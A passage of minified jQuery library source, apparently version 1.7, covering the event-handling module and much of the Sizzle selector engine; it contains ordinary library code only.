a.getAttribute(\"value\")===null?\"on\":a.value}}}),f.each([\"radio\",\"checkbox\"],function(){f.valHooks[this]=f.extend(f.valHooks[this],{set:function(a,b){if(f.isArray(b))return a.checked=f.inArray(f(a).val(),b)\u003e=0}})});var z=/^(?:textarea|input|select)$/i,A=/^([^\\.]*)?(?:\\.(.+))?$/,B=/\\bhover(\\.\\S+)?\\b/,C=/^key/,D=/^(?:mouse|contextmenu)|click/,E=/^(?:focusinfocus|focusoutblur)$/,F=/^(\\w*)(?:#([\\w\\-]+))?(?:\\.([\\w\\-]+))?$/,G=function(a){var b=F.exec(a);b\u0026\u0026(b[1]=(b[1]||\"\").toLowerCase(),b[3]=b[3]\u0026\u0026new RegExp(\"(?:^|\\\\s)\"+b[3]+\"(?:\\\\s|$)\"));return b},H=function(a,b){var c=a.attributes||{};return(!b[1]||a.nodeName.toLowerCase()===b[1])\u0026\u0026(!b[2]||(c.id||{}).value===b[2])\u0026\u0026(!b[3]||b[3].test((c[\"class\"]||{}).value))},I=function(a){return f.event.special.hover?a:a.replace(B,\"mouseenter$1 mouseleave$1\")};\nf.event={add:function(a,c,d,e,g){var h,i,j,k,l,m,n,o,p,q,r,s;if(!(a.nodeType===3||a.nodeType===8||!c||!d||!(h=f._data(a)))){d.handler\u0026\u0026(p=d,d=p.handler),d.guid||(d.guid=f.guid++),j=h.events,j||(h.events=j={}),i=h.handle,i||(h.handle=i=function(a){return typeof f!=\"undefined\"\u0026\u0026(!a||f.event.triggered!==a.type)?f.event.dispatch.apply(i.elem,arguments):b},i.elem=a),c=f.trim(I(c)).split(\" \");for(k=0;k\u003cc.length;k++){l=A.exec(c[k])||[],m=l[1],n=(l[2]||\"\").split(\".\").sort(),s=f.event.special[m]||{},m=(g?s.delegateType:s.bindType)||m,s=f.event.special[m]||{},o=f.extend({type:m,origType:l[1],data:e,handler:d,guid:d.guid,selector:g,quick:G(g),namespace:n.join(\".\")},p),r=j[m];if(!r){r=j[m]=[],r.delegateCount=0;if(!s.setup||s.setup.call(a,e,n,i)===!1)a.addEventListener?a.addEventListener(m,i,!1):a.attachEvent\u0026\u0026a.attachEvent(\"on\"+m,i)}s.add\u0026\u0026(s.add.call(a,o),o.handler.guid||(o.handler.guid=d.guid)),g?r.splice(r.delegateCount++,0,o):r.push(o),f.event.global[m]=!0}a=null}},global:{},remove:function(a,b,c,d,e){var g=f.hasData(a)\u0026\u0026f._data(a),h,i,j,k,l,m,n,o,p,q,r,s;if(!!g\u0026\u0026!!(o=g.events)){b=f.trim(I(b||\"\")).split(\" \");for(h=0;h\u003cb.length;h++){i=A.exec(b[h])||[],j=k=i[1],l=i[2];if(!j){for(j in o)f.event.remove(a,j+b[h],c,d,!0);continue}p=f.event.special[j]||{},j=(d?p.delegateType:p.bindType)||j,r=o[j]||[],m=r.length,l=l?new RegExp(\"(^|\\\\.)\"+l.split(\".\").sort().join(\"\\\\.(?:.*\\\\.)?\")+\"(\\\\.|$)\"):null;for(n=0;n\u003cr.length;n++)s=r[n],(e||k===s.origType)\u0026\u0026(!c||c.guid===s.guid)\u0026\u0026(!l||l.test(s.namespace))\u0026\u0026(!d||d===s.selector||d===\"**\"\u0026\u0026s.selector)\u0026\u0026(r.splice(n--,1),s.selector\u0026\u0026r.delegateCount--,p.remove\u0026\u0026p.remove.call(a,s));r.length===0\u0026\u0026m!==r.length\u0026\u0026((!p.teardown||p.teardown.call(a,l)===!1)\u0026\u0026f.removeEvent(a,j,g.handle),delete o[j])}f.isEmptyObject(o)\u0026\u0026(q=g.handle,q\u0026\u0026(q.elem=null),f.removeData(a,[\"events\",\"handle\"],!0))}},customEvent:{getData:!0,setData:!0,changeData:!0},trigger:function(c,d,e,g){if(!e||e.nodeType!==3\u0026\u0026e.nodeType!==8){var h=c.type||c,i=[],j,k,l,m,n,o,p,q,r,s;if(E.test(h+f.event.triggered))return;h.indexOf(\"!\")\u003e=0\u0026\u0026(h=h.slice(0,-1),k=!0),h.indexOf(\".\")\u003e=0\u0026\u0026(i=h.split(\".\"),h=i.shift(),i.sort());if((!e||f.event.customEvent[h])\u0026\u0026!f.event.global[h])return;c=typeof c==\"object\"?c[f.expando]?c:new f.Event(h,c):new f.Event(h),c.type=h,c.isTrigger=!0,c.exclusive=k,c.namespace=i.join(\".\"),c.namespace_re=c.namespace?new RegExp(\"(^|\\\\.)\"+i.join(\"\\\\.(?:.*\\\\.)?\")+\"(\\\\.|$)\"):null,o=h.indexOf(\":\")\u003c0?\"on\"+h:\"\";if(!e){j=f.cache;for(l in j)j[l].events\u0026\u0026j[l].events[h]\u0026\u0026f.event.trigger(c,d,j[l].handle.elem,!0);return}c.result=b,c.target||(c.target=e),d=d!=null?f.makeArray(d):[],d.unshift(c),p=f.event.special[h]||{};if(p.trigger\u0026\u0026p.trigger.apply(e,d)===!1)return;r=[[e,p.bindType||h]];if(!g\u0026\u0026!p.noBubble\u0026\u0026!f.isWindow(e)){s=p.delegateType||h,m=E.test(s+h)?e:e.parentNode,n=null;for(;m;m=m.parentNode)r.push([m,s]),n=m;n\u0026\u0026n===e.ownerDocument\u0026\u0026r.push([n.defaultView||n.parentWindow||a,s])}for(l=0;l\u003cr.length\u0026\u0026!c.isPropagationStopped();l++)m=r[l][0],c.type=r[l][1],q=(f._data(m,\"events\")||{})[c.type]\u0026\u0026f._data(m,\"handle\"),q\u0026\u0026q.apply(m,d),q=o\u0026\u0026m[o],q\u0026\u0026f.acceptData(m)\u0026\u0026q.apply(m,d)===!1\u0026\u0026c.preventDefault();c.type=h,!g\u0026\u0026!c.isDefaultPrevented()\u0026\u0026(!p._default||p._default.apply(e.ownerDocument,d)===!1)\u0026\u0026(h!==\"click\"||!f.nodeName(e,\"a\"))\u0026\u0026f.acceptData(e)\u0026\u0026o\u0026\u0026e[h]\u0026\u0026(h!==\"focus\"\u0026\u0026h!==\"blur\"||c.target.offsetWidth!==0)\u0026\u0026!f.isWindow(e)\u0026\u0026(n=e[o],n\u0026\u0026(e[o]=null),f.event.triggered=h,e[h](),f.event.triggered=b,n\u0026\u0026(e[o]=n));return c.result}},dispatch:function(c){c=f.event.fix(c||a.event);var d=(f._data(this,\"events\")||{})[c.type]||[],e=d.delegateCount,g=[].slice.call(arguments,0),h=!c.exclusive\u0026\u0026!c.namespace,i=[],j,k,l,m,n,o,p,q,r,s,t;g[0]=c,c.delegateTarget=this;if(e\u0026\u0026!c.target.disabled\u0026\u0026(!c.button||c.type!==\"click\")){m=f(this),m.context=this.ownerDocument||this;for(l=c.target;l!=this;l=l.parentNode||this){o={},q=[],m[0]=l;for(j=0;j\u003ce;j++)r=d[j],s=r.selector,o[s]===b\u0026\u0026(o[s]=r.quick?H(l,r.quick):m.is(s)),o[s]\u0026\u0026q.push(r);q.length\u0026\u0026i.push({elem:l,matches:q})}}d.length\u003ee\u0026\u0026i.push({elem:this,matches:d.slice(e)});for(j=0;j\u003ci.length\u0026\u0026!c.isPropagationStopped();j++){p=i[j],c.currentTarget=p.elem;for(k=0;k\u003cp.matches.length\u0026\u0026!c.isImmediatePropagationStopped();k++){r=p.matches[k];if(h||!c.namespace\u0026\u0026!r.namespace||c.namespace_re\u0026\u0026c.namespace_re.test(r.namespace))c.data=r.data,c.handleObj=r,n=((f.event.special[r.origType]||{}).handle||r.handler).apply(p.elem,g),n!==b\u0026\u0026(c.result=n,n===!1\u0026\u0026(c.preventDefault(),c.stopPropagation()))}}return c.result},props:\"attrChange attrName relatedNode srcElement altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which\".split(\" \"),fixHooks:{},keyHooks:{props:\"char charCode key keyCode\".split(\" \"),filter:function(a,b){a.which==null\u0026\u0026(a.which=b.charCode!=null?b.charCode:b.keyCode);return a}},mouseHooks:{props:\"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement\".split(\" \"),filter:function(a,d){var e,f,g,h=d.button,i=d.fromElement;a.pageX==null\u0026\u0026d.clientX!=null\u0026\u0026(e=a.target.ownerDocument||c,f=e.documentElement,g=e.body,a.pageX=d.clientX+(f\u0026\u0026f.scrollLeft||g\u0026\u0026g.scrollLeft||0)-(f\u0026\u0026f.clientLeft||g\u0026\u0026g.clientLeft||0),a.pageY=d.clientY+(f\u0026\u0026f.scrollTop||g\u0026\u0026g.scrollTop||0)-(f\u0026\u0026f.clientTop||g\u0026\u0026g.clientTop||0)),!a.relatedTarget\u0026\u0026i\u0026\u0026(a.relatedTarget=i===a.target?d.toElement:i),!a.which\u0026\u0026h!==b\u0026\u0026(a.which=h\u00261?1:h\u00262?3:h\u00264?2:0);return a}},fix:function(a){if(a[f.expando])return a;var d,e,g=a,h=f.event.fixHooks[a.type]||{},i=h.props?this.props.concat(h.props):this.props;a=f.Event(g);for(d=i.length;d;)e=i[--d],a[e]=g[e];a.target||(a.target=g.srcElement||c),a.target.nodeType===3\u0026\u0026(a.target=a.target.parentNode),a.metaKey===b\u0026\u0026(a.metaKey=a.ctrlKey);return h.filter?h.filter(a,g):a},special:{ready:{setup:f.bindReady},load:{noBubble:!0},focus:{delegateType:\"focusin\"},blur:{delegateType:\"focusout\"},beforeunload:{setup:function(a,b,c){f.isWindow(this)\u0026\u0026(this.onbeforeunload=c)},teardown:function(a,b){this.onbeforeunload===b\u0026\u0026(this.onbeforeunload=null)}}},simulate:function(a,b,c,d){var e=f.extend(new f.Event,c,{type:a,isSimulated:!0,originalEvent:{}});d?f.event.trigger(e,null,b):f.event.dispatch.call(b,e),e.isDefaultPrevented()\u0026\u0026c.preventDefault()}},f.event.handle=f.event.dispatch,f.removeEvent=c.removeEventListener?function(a,b,c){a.removeEventListener\u0026\u0026a.removeEventListener(b,c,!1)}:function(a,b,c){a.detachEvent\u0026\u0026a.detachEvent(\"on\"+b,c)},f.Event=function(a,b){if(!(this instanceof f.Event))return new f.Event(a,b);a\u0026\u0026a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||a.returnValue===!1||a.getPreventDefault\u0026\u0026a.getPreventDefault()?K:J):this.type=a,b\u0026\u0026f.extend(this,b),this.timeStamp=a\u0026\u0026a.timeStamp||f.now(),this[f.expando]=!0},f.Event.prototype={preventDefault:function(){this.isDefaultPrevented=K;var a=this.originalEvent;!a||(a.preventDefault?a.preventDefault():a.returnValue=!1)},stopPropagation:function(){this.isPropagationStopped=K;var a=this.originalEvent;!a||(a.stopPropagation\u0026\u0026a.stopPropagation(),a.cancelBubble=!0)},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=K,this.stopPropagation()},isDefaultPrevented:J,isPropagationStopped:J,isImmediatePropagationStopped:J},f.each({mouseenter:\"mouseover\",mouseleave:\"mouseout\"},function(a,b){f.event.special[a]={delegateType:b,bindType:b,handle:function(a){var c=this,d=a.relatedTarget,e=a.handleObj,g=e.selector,h;if(!d||d!==c\u0026\u0026!f.contains(c,d))a.type=e.origType,h=e.handler.apply(this,arguments),a.type=b;return h}}}),f.support.submitBubbles||(f.event.special.submit={setup:function(){if(f.nodeName(this,\"form\"))return!1;f.event.add(this,\"click._submit keypress._submit\",function(a){var c=a.target,d=f.nodeName(c,\"input\")||f.nodeName(c,\"button\")?c.form:b;d\u0026\u0026!d._submit_attached\u0026\u0026(f.event.add(d,\"submit._submit\",function(a){this.parentNode\u0026\u0026!a.isTrigger\u0026\u0026f.event.simulate(\"submit\",this.parentNode,a,!0)}),d._submit_attached=!0)})},teardown:function(){if(f.nodeName(this,\"form\"))return!1;f.event.remove(this,\"._submit\")}}),f.support.changeBubbles||(f.event.special.change={setup:function(){if(z.test(this.nodeName)){if(this.type===\"checkbox\"||this.type===\"radio\")f.event.add(this,\"propertychange._change\",function(a){a.originalEvent.propertyName===\"checked\"\u0026\u0026(this._just_changed=!0)}),f.event.add(this,\"click._change\",function(a){this._just_changed\u0026\u0026!a.isTrigger\u0026\u0026(this._just_changed=!1,f.event.simulate(\"change\",this,a,!0))});return!1}f.event.add(this,\"beforeactivate._change\",function(a){var b=a.target;z.test(b.nodeName)\u0026\u0026!b._change_attached\u0026\u0026(f.event.add(b,\"change._change\",function(a){this.parentNode\u0026\u0026!a.isSimulated\u0026\u0026!a.isTrigger\u0026\u0026f.event.simulate(\"change\",this.parentNode,a,!0)}),b._change_attached=!0)})},handle:function(a){var b=a.target;if(this!==b||a.isSimulated||a.isTrigger||b.type!==\"radio\"\u0026\u0026b.type!==\"checkbox\")return a.handleObj.handler.apply(this,arguments)},teardown:function(){f.event.remove(this,\"._change\");return z.test(this.nodeName)}}),f.support.focusinBubbles||f.each({focus:\"focusin\",blur:\"focusout\"},function(a,b){var d=0,e=function(a){f.event.simulate(b,a.target,f.event.fix(a),!0)};f.event.special[b]={setup:function(){d++===0\u0026\u0026c.addEventListener(a,e,!0)},teardown:function(){--d===0\u0026\u0026c.removeEventListener(a,e,!0)}}}),f.fn.extend({on:function(a,c,d,e,g){var h,i;if(typeof a==\"object\"){typeof c!=\"string\"\u0026\u0026(d=c,c=b);for(i in a)this.on(i,c,d,a[i],g);return this}d==null\u0026\u0026e==null?(e=c,d=c=b):e==null\u0026\u0026(typeof c==\"string\"?(e=d,d=b):(e=d,d=c,c=b));if(e===!1)e=J;else if(!e)return this;g===1\u0026\u0026(h=e,e=function(a){f().off(a);return h.apply(this,arguments)},e.guid=h.guid||(h.guid=f.guid++));return this.each(function(){f.event.add(this,a,e,d,c)})},one:function(a,b,c,d){return this.on.call(this,a,b,c,d,1)},off:function(a,c,d){if(a\u0026\u0026a.preventDefault\u0026\u0026a.handleObj){var e=a.handleObj;f(a.delegateTarget).off(e.namespace?e.type+\".\"+e.namespace:e.type,e.selector,e.handler);return this}if(typeof a==\"object\"){for(var g in a)this.off(g,c,a[g]);return this}if(c===!1||typeof c==\"function\")d=c,c=b;d===!1\u0026\u0026(d=J);return this.each(function(){f.event.remove(this,a,d,c)})},bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},live:function(a,b,c){f(this.context).on(a,this.selector,b,c);return this},die:function(a,b){f(this.context).off(a,this.selector||\"**\",b);return this},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return arguments.length==1?this.off(a,\"**\"):this.off(b,a,c)},trigger:function(a,b){return this.each(function(){f.event.trigger(a,b,this)})},triggerHandler:function(a,b){if(this[0])return f.event.trigger(a,b,this[0],!0)},toggle:function(a){var b=arguments,c=a.guid||f.guid++,d=0,e=function(c){var e=(f._data(this,\"lastToggle\"+a.guid)||0)%d;f._data(this,\"lastToggle\"+a.guid,e+1),c.preventDefault();return b[e].apply(this,arguments)||!1};e.guid=c;while(d\u003cb.length)b[d++].guid=c;return this.click(e)},hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),f.each(\"blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu\".split(\" \"),function(a,b){f.fn[b]=function(a,c){c==null\u0026\u0026(c=a,a=null);return arguments.length\u003e0?this.on(b,null,a,c):this.trigger(b)},f.attrFn\u0026\u0026(f.attrFn[b]=!0),C.test(b)\u0026\u0026(f.event.fixHooks[b]=f.event.keyHooks),D.test(b)\u0026\u0026(f.event.fixHooks[b]=f.event.mouseHooks)}),function(){function x(a,b,c,e,f,g){for(var h=0,i=e.length;h\u003ci;h++){var j=e[h];if(j){var k=!1;j=j[a];while(j){if(j[d]===c){k=e[j.sizset];break}if(j.nodeType===1){g||(j[d]=c,j.sizset=h);if(typeof b!=\"string\"){if(j===b){k=!0;break}}else if(m.filter(b,[j]).length\u003e0){k=j;break}}j=j[a]}e[h]=k}}}function w(a,b,c,e,f,g){for(var h=0,i=e.length;h\u003ci;h++){var j=e[h];if(j){var k=!1;j=j[a];while(j){if(j[d]===c){k=e[j.sizset];break}j.nodeType===1\u0026\u0026!g\u0026\u0026(j[d]=c,j.sizset=h);if(j.nodeName.toLowerCase()===b){k=j;break}j=j[a]}e[h]=k}}}var a=/((?:\\((?:\\([^()]+\\)|[^()]+)+\\)|\\[(?:\\[[^\\[\\]]*\\]|['\"][^'\"]*['\"]|[^\\[\\]'\"]+)+\\]|\\\\.|[^ \u003e+~,(\\[\\\\]+)+|[\u003e+~])(\\s*,\\s*)?((?:.|\\r|\\n)*)/g,d=\"sizcache\"+(Math.random()+\"\").replace(\".\",\"\"),e=0,g=Object.prototype.toString,h=!1,i=!0,j=/\\\\/g,k=/\\r\\n/g,l=/\\W/;[0,0].sort(function(){i=!1;return 0});var m=function(b,d,e,f){e=e||[],d=d||c;var h=d;if(d.nodeType!==1\u0026\u0026d.nodeType!==9)return[];if(!b||typeof b!=\"string\")return e;var i,j,k,l,n,q,r,t,u=!0,v=m.isXML(d),w=[],x=b;do{a.exec(\"\"),i=a.exec(x);if(i){x=i[3],w.push(i[1]);if(i[2]){l=i[3];break}}}while(i);if(w.length\u003e1\u0026\u0026p.exec(b))if(w.length===2\u0026\u0026o.relative[w[0]])j=y(w[0]+w[1],d,f);else{j=o.relative[w[0]]?[d]:m(w.shift(),d);while(w.length)b=w.shift(),o.relative[b]\u0026\u0026(b+=w.shift()),j=y(b,j,f)}else{!f\u0026\u0026w.length\u003e1\u0026\u0026d.nodeType===9\u0026\u0026!v\u0026\u0026o.match.ID.test(w[0])\u0026\u0026!o.match.ID.test(w[w.length-1])\u0026\u0026(n=m.find(w.shift(),d,v),d=n.expr?m.filter(n.expr,n.set)[0]:n.set[0]);if(d){n=f?{expr:w.pop(),set:s(f)}:m.find(w.pop(),w.length===1\u0026\u0026(w[0]===\"~\"||w[0]===\"+\")\u0026\u0026d.parentNode?d.parentNode:d,v),j=n.expr?m.filter(n.expr,n.set):n.set,w.length\u003e0?k=s(j):u=!1;while(w.length)q=w.pop(),r=q,o.relative[q]?r=w.pop():q=\"\",r==null\u0026\u0026(r=d),o.relative[q](k,r,v)}else k=w=[]}k||(k=j),k||m.error(q||b);if(g.call(k)===\"[object Array]\")if(!u)e.push.apply(e,k);else if(d\u0026\u0026d.nodeType===1)for(t=0;k[t]!=null;t++)k[t]\u0026\u0026(k[t]===!0||k[t].nodeType===1\u0026\u0026m.contains(d,k[t]))\u0026\u0026e.push(j[t]);else for(t=0;k[t]!=null;t++)k[t]\u0026\u0026k[t].nodeType===1\u0026\u0026e.push(j[t]);else s(k,e);l\u0026\u0026(m(l,h,e,f),m.uniqueSort(e));return e};m.uniqueSort=function(a){if(u){h=i,a.sort(u);if(h)for(var b=1;b\u003ca.length;b++)a[b]===a[b-1]\u0026\u0026a.splice(b--,1)}return a},m.matches=function(a,b){return m(a,null,null,b)},m.matchesSelector=function(a,b){return m(b,null,null,[a]).length\u003e0},m.find=function(a,b,c){var d,e,f,g,h,i;if(!a)return[];for(e=0,f=o.order.length;e\u003cf;e++){h=o.order[e];if(g=o.leftMatch[h].exec(a)){i=g[1],g.splice(1,1);if(i.substr(i.length-1)!==\"\\\\\"){g[1]=(g[1]||\"\").replace(j,\"\"),d=o.find[h](g,b,c);if(d!=null){a=a.replace(o.match[h],\"\");break}}}}d||(d=typeof b.getElementsByTagName!=\"undefined\"?b.getElementsByTagName(\"*\"):[]);return{set:d,expr:a}},m.filter=function(a,c,d,e){var f,g,h,i,j,k,l,n,p,q=a,r=[],s=c,t=c\u0026\u0026c[0]\u0026\u0026m.isXML(c[0]);while(a\u0026\u0026c.length){for(h in o.filter)if((f=o.leftMatch[h].exec(a))!=null\u0026\u0026f[2]){k=o.filter[h],l=f[1],g=!1,f.splice(1,1);if(l.substr(l.length-1)===\"\\\\\")continue;s===r\u0026\u0026(r=[]);if(o.preFilter[h]){f=o.preFilter[h](f,s,d,r,e,t);if(!f)g=i=!0;else if(f===!0)continue}if(f)for(n=0;(j=s[n])!=null;n++)j\u0026\u0026(i=k(j,f,n,s),p=e^i,d\u0026\u0026i!=null?p?g=!0:s[n]=!1:p\u0026\u0026(r.push(j),g=!0));if(i!==b){d||(s=r),a=a.replace(o.match[h],\"\");if(!g)return[];break}}if(a===q)if(g==null)m.error(a);else break;q=a}return s},m.error=function(a){throw new Error(\"Syntax error, unrecognized expression: \"+a)};var n=m.getText=function(a){var b,c,d=a.nodeType,e=\"\";if(d){if(d===1||d===9){if(typeof a.textContent==\"string\")return a.textContent;if(typeof a.innerText==\"string\")return a.innerText.replace(k,\"\");for(a=a.firstChild;a;a=a.nextSibling)e+=n(a)}else if(d===3||d===4)return a.nodeValue}else for(b=0;c=a[b];b++)c.nodeType!==8\u0026\u0026(e+=n(c));return e},o=m.selectors={order:[\"ID\",\"NAME\",\"TAG\"],match:{ID:/#((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)/,CLASS:/\\.((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)/,NAME:/\\[name=['\"]*((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)['\"]*\\]/,ATTR:/\\[\\s*((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)\\s*(?:(\\S?=)\\s*(?:(['\"])(.*?)\\3|(#?(?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)*)|)|)\\s*\\]/,TAG:/^((?:[\\w\\u00c0-\\uFFFF\\*\\-]|\\\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\\(\\s*(even|odd|(?:[+\\-]?\\d+|(?:[+\\-]?\\d*)?n\\s*(?:[+\\-]\\s*\\d+)?))\\s*\\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\\((\\d*)\\))?(?=[^\\-]|$)/,PSEUDO:/:((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)(?:\\((['\"]?)((?:\\([^\\)]+\\)|[^\\(\\)]*)+)\\2\\))?/},leftMatch:{},attrMap:{\"class\":\"className\",\"for\":\"htmlFor\"},attrHandle:{href:function(a){return a.getAttribute(\"href\")},type:function(a){return a.getAttribute(\"type\")}},relative:{\"+\":function(a,b){var c=typeof b==\"string\",d=c\u0026\u0026!l.test(b),e=c\u0026\u0026!d;d\u0026\u0026(b=b.toLowerCase());for(var f=0,g=a.length,h;f\u003cg;f++)if(h=a[f]){while((h=h.previousSibling)\u0026\u0026h.nodeType!==1);a[f]=e||h\u0026\u0026h.nodeName.toLowerCase()===b?h||!1:h===b}e\u0026\u0026m.filter(b,a,!0)},\"\u003e\":function(a,b){var c,d=typeof b==\"string\",e=0,f=a.length;if(d\u0026\u0026!l.test(b)){b=b.toLowerCase();for(;e\u003cf;e++){c=a[e];if(c){var g=c.parentNode;a[e]=g.nodeName.toLowerCase()===b?g:!1}}}else{for(;e\u003cf;e++)c=a[e],c\u0026\u0026(a[e]=d?c.parentNode:c.parentNode===b);d\u0026\u0026m.filter(b,a,!0)}},\"\":function(a,b,c){var d,f=e++,g=x;typeof b==\"string\"\u0026\u0026!l.test(b)\u0026\u0026(b=b.toLowerCase(),d=b,g=w),g(\"parentNode\",b,f,a,d,c)},\"~\":function(a,b,c){var d,f=e++,g=x;typeof b==\"string\"\u0026\u0026!l.test(b)\u0026\u0026(b=b.toLowerCase(),d=b,g=w),g(\"previousSibling\",b,f,a,d,c)}},find:{ID:function(a,b,c){if(typeof b.getElementById!=\"undefined\"\u0026\u0026!c){var d=b.getElementById(a[1]);return d\u0026\u0026d.parentNode?[d]:[]}},NAME:function(a,b){if(typeof b.getElementsByName!=\"undefined\"){var c=[],d=b.getElementsByName(a[1]);for(var e=0,f=d.length;e\u003cf;e++)d[e].getAttribute(\"name\")===a[1]\u0026\u0026c.push(d[e]);return c.length===0?null:c}},TAG:function(a,b){if(typeof b.getElementsByTagName!=\"undefined\")return b.getElementsByTagName(a[1])}},preFilter:{CLASS:function(a,b,c,d,e,f){a=\" \"+a[1].replace(j,\"\")+\" \";if(f)return a;for(var g=0,h;(h=b[g])!=null;g++)h\u0026\u0026(e^(h.className\u0026\u0026(\" \"+h.className+\" \").replace(/[\\t\\n\\r]/g,\" \").indexOf(a)\u003e=0)?c||d.push(h):c\u0026\u0026(b[g]=!1));return!1},ID:function(a){return a[1].replace(j,\"\")},TAG:function(a,b){return a[1].replace(j,\"\").toLowerCase()},CHILD:function(a){if(a[1]===\"nth\"){a[2]||m.error(a[0]),a[2]=a[2].replace(/^\\+|\\s*/g,\"\");var b=/(-?)(\\d*)(?:n([+\\-]?\\d*))?/.exec(a[2]===\"even\"\u0026\u0026\"2n\"||a[2]===\"odd\"\u0026\u0026\"2n+1\"||!/\\D/.test(a[2])\u0026\u0026\"0n+\"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]\u0026\u0026m.error(a[0]);a[0]=e++;return a},ATTR:function(a,b,c,d,e,f){var g=a[1]=a[1].replace(j,\"\");!f\u0026\u0026o.attrMap[g]\u0026\u0026(a[1]=o.attrMap[g]),a[4]=(a[4]||a[5]||\"\").replace(j,\"\"),a[2]===\"~=\"\u0026\u0026(a[4]=\" \"+a[4]+\" \");return a},PSEUDO:function(b,c,d,e,f){if(b[1]===\"not\")if((a.exec(b[3])||\"\").length\u003e1||/^\\w/.test(b[3]))b[3]=m(b[3],null,null,c);else{var g=m.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else if(o.match.POS.test(b[0])||o.match.CHILD.test(b[0]))return!0;return b},POS:function(a){a.unshift(!0);return a}},filters:{enabled:function(a){return a.disabled===!1\u0026\u0026a.type!==\"hidden\"},disabled:function(a){return a.disabled===!0},checked:function(a){return a.checked===!0},selected:function(a){a.parentNode\u0026\u0026a.parentNode.selectedIndex;return a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!m(c[3],a).length},header:function(a){return/h\\d/i.test(a.nodeName)},text:function(a){var b=a.getAttribute(\"type\"),c=a.type;return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"text\"===c\u0026\u0026(b===c||b===null)},radio:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"radio\"===a.type},checkbox:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"checkbox\"===a.type},file:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"file\"===a.type},password:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"password\"===a.type},submit:function(a){var b=a.nodeName.toLowerCase();return(b===\"input\"||b===\"button\")\u0026\u0026\"submit\"===a.type},image:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"image\"===a.type},reset:function(a){var b=a.nodeName.toLowerCase();return(b===\"input\"||b===\"button\")\u0026\u0026\"reset\"===a.type},button:function(a){var b=a.nodeName.toLowerCase();return b===\"input\"\u0026\u0026\"button\"===a.type||b===\"button\"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)},focus:function(a){return a===a.ownerDocument.activeElement}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return b\u003cc[3]-0},gt:function(a,b,c){return b\u003ec[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=o.filters[e];if(f)return f(a,c,b,d);if(e===\"contains\")return(a.textContent||a.innerText||n([a])||\"\").indexOf(b[3])\u003e=0;if(e===\"not\"){var g=b[3];for(var h=0,i=g.length;h\u003ci;h++)if(g[h]===a)return!1;return!0}m.error(e)},CHILD:function(a,b){var c,e,f,g,h,i,j,k=b[1],l=a;switch(k){case\"only\":case\"first\":while(l=l.previousSibling)if(l.nodeType===1)return!1;if(k===\"first\")return!0;l=a;case\"last\":while(l=l.nextSibling)if(l.nodeType===1)return!1;return!0;case\"nth\":c=b[2],e=b[3];if(c===1\u0026\u0026e===0)return!0;f=b[0],g=a.parentNode;if(g\u0026\u0026(g[d]!==f||!a.nodeIndex)){i=0;for(l=g.firstChild;l;l=l.nextSibling)l.nodeType===1\u0026\u0026(l.nodeIndex=++i);g[d]=f}j=a.nodeIndex-e;return c===0?j===0:j%c===0\u0026\u0026j/c\u003e=0}},ID:function(a,b){return a.nodeType===1\u0026\u0026a.getAttribute(\"id\")===b},TAG:function(a,b){return b===\"*\"\u0026\u0026a.nodeType===1||!!a.nodeName\u0026\u0026a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(\" \"+(a.className||a.getAttribute(\"class\"))+\" \").indexOf(b)\u003e-1},ATTR:function(a,b){var c=b[1],d=m.attr?m.attr(a,c):o.attrHandle[c]?o.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+\"\",f=b[2],g=b[4];return d==null?f===\"!=\":!f\u0026\u0026m.attr?d!=null:f===\"=\"?e===g:f===\"*=\"?e.indexOf(g)\u003e=0:f===\"~=\"?(\" \"+e+\" \").indexOf(g)\u003e=0:g?f===\"!=\"?e!==g:f===\"^=\"?e.indexOf(g)===0:f===\"$=\"?e.substr(e.length-g.length)===g:f===\"|=\"?e===g||e.substr(0,g.length+1)===g+\"-\":!1:e\u0026\u0026d!==!1},POS:function(a,b,c,d){var e=b[2],f=o.setFilters[e];if(f)return f(a,c,b,d)}}},p=o.match.POS,q=function(a,b){return\"\\\\\"+(b-0+1)};for(var r in o.match)o.match[r]=new RegExp(o.match[r].source+/(?![^\\[]*\\])(?![^\\(]*\\))/.source),o.leftMatch[r]=new RegExp(/(^(?:.|\\r|\\n)*?)/.source+o.match[r].source.replace(/\\\\(\\d+)/g,q));var s=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(t){s=function(a,b){var 